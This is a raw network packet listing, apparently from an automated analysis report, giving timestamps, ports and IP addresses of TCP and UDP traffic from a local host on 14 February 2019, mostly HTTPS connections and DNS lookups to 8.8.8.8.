Feb 14, 2019 13:00:17.033576012 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.049551964 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.051383018 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.051517010 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.051548958 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.051567078 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.053771973 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.053793907 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.062881947 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.079207897 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.079261065 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.081024885 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.081046104 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.081940889 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.081957102 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.081990957 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.082003117 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.082103014 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.098169088 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.098418951 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.099174976 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.099195957 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.099941015 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.101537943 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.108802080 MEZ	60970	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.109267950 MEZ	59788	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.113761902 MEZ	53	60970	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.116332054 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.134685993 MEZ	53	59788	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.137463093 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.139081955 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.140791893 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.141038895 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.153232098 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.155002117 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.155308008 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.164035082 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.164134026 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.164149046 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.166062117 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.166085005 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.171366930 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.171471119 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.171504021 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.173465967 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.173486948 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.180643082 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.192622900 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.203401089 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.205388069 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.207262993 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.208070040 MEZ	51987	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.208920956 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.211141109 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212625027 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212641954 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212661028 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212676048 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212719917 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.212793112 MEZ	53	51987	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.215171099 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.228353024 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.228372097 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.228507996 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229299068 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229415894 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229541063 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229563951 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229662895 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.229692936 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.230056047 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.230072975 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.230186939 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231159925 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231170893 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231177092 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231185913 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.231700897 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231709003 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.231749058 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.231765032 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.231940985 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.231972933 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232094049 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232213974 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232332945 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232467890 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232578993 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.232688904 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.233232021 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.233841896 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.233956099 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.234407902 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.234971046 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.234986067 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.234993935 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.234998941 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.235025883 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.250077963 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.251929998 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.252044916 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.252166033 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.252180099 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.254395008 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.254416943 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.254424095 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.256710052 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.256742001 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.256772041 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.256803989 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.256947041 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.257055044 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.258335114 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.258429050 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:17.259198904 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.259213924 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.259219885 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.260724068 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.266396999 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.266469002 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:17.279378891 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:17.282726049 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.282744884 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.284320116 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.284338951 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.287864923 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.290452003 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.290471077 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.290493011 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.290524006 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.290585995 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.295345068 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:17.306406975 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.306423903 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.307477951 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.307584047 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.307837963 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.307873964 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.307905912 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308028936 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308180094 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308218956 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308370113 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308482885 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308494091 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.308590889 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308712006 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308870077 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.308984041 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.309035063 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.309151888 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.309268951 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.309392929 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.309534073 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.309554100 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.310338020 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.310434103 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.310436010 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.310437918 MEZ	443	49349	192.229.133.52	192.168.0.50
Feb 14, 2019 13:00:17.310686111 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.310698032 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.310707092 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.310760021 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311260939 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311268091 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311321020 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311877966 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311889887 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.311896086 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.312000990 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.312397957 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.312406063 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:17.312412024 MEZ	49349	443	192.168.0.50	192.229.133.52
Feb 14, 2019 13:00:26.728024006 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:26.908577919 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:27.106154919 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.106230974 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.106281042 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.107237101 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:27.201437950 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 13:00:27.201455116 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 13:00:27.201468945 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 13:00:27.201709986 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.201730013 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.201736927 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:27.601566076 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:28.743907928 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:29.111888885 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:30.049205065 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:30.430185080 MEZ	80	49331	178.250.0.160	192.168.0.50
Feb 14, 2019 13:00:31.038141012 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:31.602257013 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:31.602278948 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:31.602524996 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:31.602571011 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:31.602718115 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:31.603107929 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:31.740624905 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:31.740839005 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:46.490525961 MEZ	80	49290	52.40.4.65	192.168.0.50
Feb 14, 2019 13:00:46.490741968 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 13:00:46.542299986 MEZ	80	49291	35.162.20.150	192.168.0.50
Feb 14, 2019 13:00:46.542503119 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 13:00:46.650223017 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:46.650240898 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:46.650444031 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:46.650460005 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:46.650693893 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:46.650783062 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:46.651127100 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:46.666877985 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:46.666892052 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:46.668124914 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:46.971682072 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:46.971698046 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:46.971879005 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:46.971895933 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:46.972115040 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:46.972203016 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:46.972527981 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:46.987759113 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:46.987885952 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:46.988173962 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:47.231285095 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:47.231302023 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:47.231514931 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:47.231534004 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:47.231811047 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:47.232218027 MEZ	49347	443	192.168.0.50	5.57.16.100
Feb 14, 2019 13:00:47.247402906 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:47.247419119 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:47.247602940 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:47.247616053 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:47.247879982 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:47.248008013 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:47.248275042 MEZ	49348	443	192.168.0.50	5.57.17.99
Feb 14, 2019 13:00:47.253007889 MEZ	80	49292	35.161.68.49	192.168.0.50
Feb 14, 2019 13:00:47.253185034 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 13:00:47.254739046 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:47.254802942 MEZ	443	49347	5.57.16.100	192.168.0.50
Feb 14, 2019 13:00:47.265249968 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:47.265449047 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:47.265461922 MEZ	443	49348	5.57.17.99	192.168.0.50
Feb 14, 2019 13:00:48.557502031 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 13:00:48.557734966 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 13:00:53.446438074 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 13:00:53.446619987 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:00:57.016992092 MEZ	55012	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:57.022806883 MEZ	53	55012	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:57.522661924 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:00:57.648683071 MEZ	80	49314	13.84.45.249	192.168.0.50
Feb 14, 2019 13:00:57.648905993 MEZ	49314	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:01:13.929563999 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:01:13.929723978 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:13.929811954 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:13.929902077 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:13.929976940 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:13.930067062 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:13.930155039 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.055565119 MEZ	80	49312	13.84.45.249	192.168.0.50
Feb 14, 2019 13:01:14.055583000 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.055597067 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.055866003 MEZ	49312	80	192.168.0.50	13.84.45.249
Feb 14, 2019 13:01:14.055886984 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.055893898 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.055998087 MEZ	80	49319	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.056111097 MEZ	80	49317	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.056148052 MEZ	49319	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.056301117 MEZ	49317	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.056600094 MEZ	80	49318	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.056613922 MEZ	80	49315	13.66.51.37	192.168.0.50
Feb 14, 2019 13:01:14.056759119 MEZ	49318	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:14.056772947 MEZ	49315	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:01:18.947909117 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 13:01:18.969016075 MEZ	80	49287	52.174.148.190	192.168.0.50
Feb 14, 2019 13:01:18.969217062 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 13:01:29.243628979 MEZ	49290	80	192.168.0.50	52.40.4.65
Feb 14, 2019 13:01:29.243701935 MEZ	49291	80	192.168.0.50	35.162.20.150
Feb 14, 2019 13:01:29.243784904 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 13:01:29.243915081 MEZ	49292	80	192.168.0.50	35.161.68.49
Feb 14, 2019 13:01:29.396286011 MEZ	80	49291	35.162.20.150	192.168.0.50
Feb 14, 2019 13:01:29.396303892 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 13:01:29.396317959 MEZ	80	49292	35.161.68.49	192.168.0.50
Feb 14, 2019 13:01:29.397821903 MEZ	80	49290	52.40.4.65	192.168.0.50
Feb 14, 2019 13:02:51.634330988 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:02:52.005093098 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:02:52.543158054 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:02:53.420171022 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:02:54.974410057 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 13:02:57.880480051 MEZ	49286	10000	192.168.0.50	34.225.153.59

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2019 12:59:22.190877914 MEZ	61670	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:22.196355104 MEZ	53	61670	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:30.992110014 MEZ	61475	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:30.992188931 MEZ	59360	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.039836884 MEZ	53	61475	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.043059111 MEZ	59360	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.083496094 MEZ	53	59360	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.087279081 MEZ	53	59360	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.148624897 MEZ	49596	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.148746967 MEZ	52816	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.167860985 MEZ	53	49596	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.171044111 MEZ	52816	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.182599068 MEZ	53	52816	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.190256119 MEZ	53	52816	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:37.139636040 MEZ	61803	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:37.139761925 MEZ	50257	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:37.159153938 MEZ	53	61803	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:37.160187006 MEZ	53	50257	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.200376987 MEZ	61002	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.200495958 MEZ	59307	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.246191025 MEZ	53	61002	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.248718023 MEZ	59307	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.277790070 MEZ	53	59307	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.285307884 MEZ	53	59307	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.598284006 MEZ	58436	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.598376989 MEZ	51681	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.640680075 MEZ	53	58436	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.642610073 MEZ	51681	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:45.671312094 MEZ	53	51681	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:45.673139095 MEZ	53	51681	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.012825966 MEZ	62183	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.013782978 MEZ	60326	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.060003996 MEZ	53	62183	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.062338114 MEZ	60326	53	192.168.0.50	8.8.8.8
